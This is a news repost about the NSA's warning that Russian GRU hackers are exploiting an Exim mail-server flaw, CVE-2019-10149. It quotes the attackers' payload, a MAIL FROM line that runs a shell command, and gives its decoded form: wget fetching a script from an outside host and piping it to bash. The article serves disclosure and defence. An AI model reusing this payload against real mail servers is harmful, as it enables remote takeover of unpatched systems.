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upstart writes in with an IRC submission:

It's not every day the NSA publicly warns of attacks by Kremlin hackers – so take this critical Exim flaw seriously:

The NSA has raised the alarm over what it says is Russia's active exploitation of a remote-code execution flaw in Exim for which a patch exists.

The American surveillance super-agency said [PDF] on Thursday the Kremlin's military intelligence hackers are actively targeting some systems vulnerable to CVE-2019-10149, a security hole in the widely used Exim mail transfer agent (MTA) that was fixed last June.

Here's a sample of Moscow's exploit code, according to the NSA, which is sent to a vulnerable server to hijack it – we've censored parts of it to avoid tripping any filters:

MAIL FROM:${run{\x2Fbin\x2Fsh\t- c\t\x22exec\x20\x2Fusr\x2Fbin\x2Fwget\x20\x2DO\x20\x2D\x20hxxp\:\x2F\x2F\hostapp.be\x2Fscript1.sh\x20\x7C\x20bash\x22}}@hostapp.be That hexadecimal decodes to: /bin/sh -c "exec /usr/bin/wget -O - hxxp://hostapp.be/script1.sh | bash"

"The Russian actors, part of the General Staff Main Intelligence Directorate's (GRU) Main Center for Special Technologies (GTsST), have used this exploit to add privileged users, disable network security settings, execute additional scripts for further network exploitation; pretty much any attacker's dream access – as long as that network is using an unpatched version of Exim MTA," the NSA said.

In this case, miscreants, linked to the military-backed Sandworm operation, exploit improper validation of the recipient's address in Exim's deliver_message() function in /src/deliver.c to inject and execute a shell command, which downloads and runs another script to commandeer the server. An in-depth technical description of the programming blunder can be found here by Qualys, which found and reported the flaw last year.

Because Exim is widely used on millions of Linux and Unix servers for mail, bugs in the MTA are by nature public-facing and pose an attractive target for hackers of all nations.

The NSA did not say who exactly was being targeted, though we can imagine the Russian military takes an interest in probing foreign government agencies and vital industries. GRU hackers have also previously targeted energy utilities, by some reports.

Previously: 400,000 Servers Using Exim May be at Risk of Serious Code-Execution Attacks

Original Submission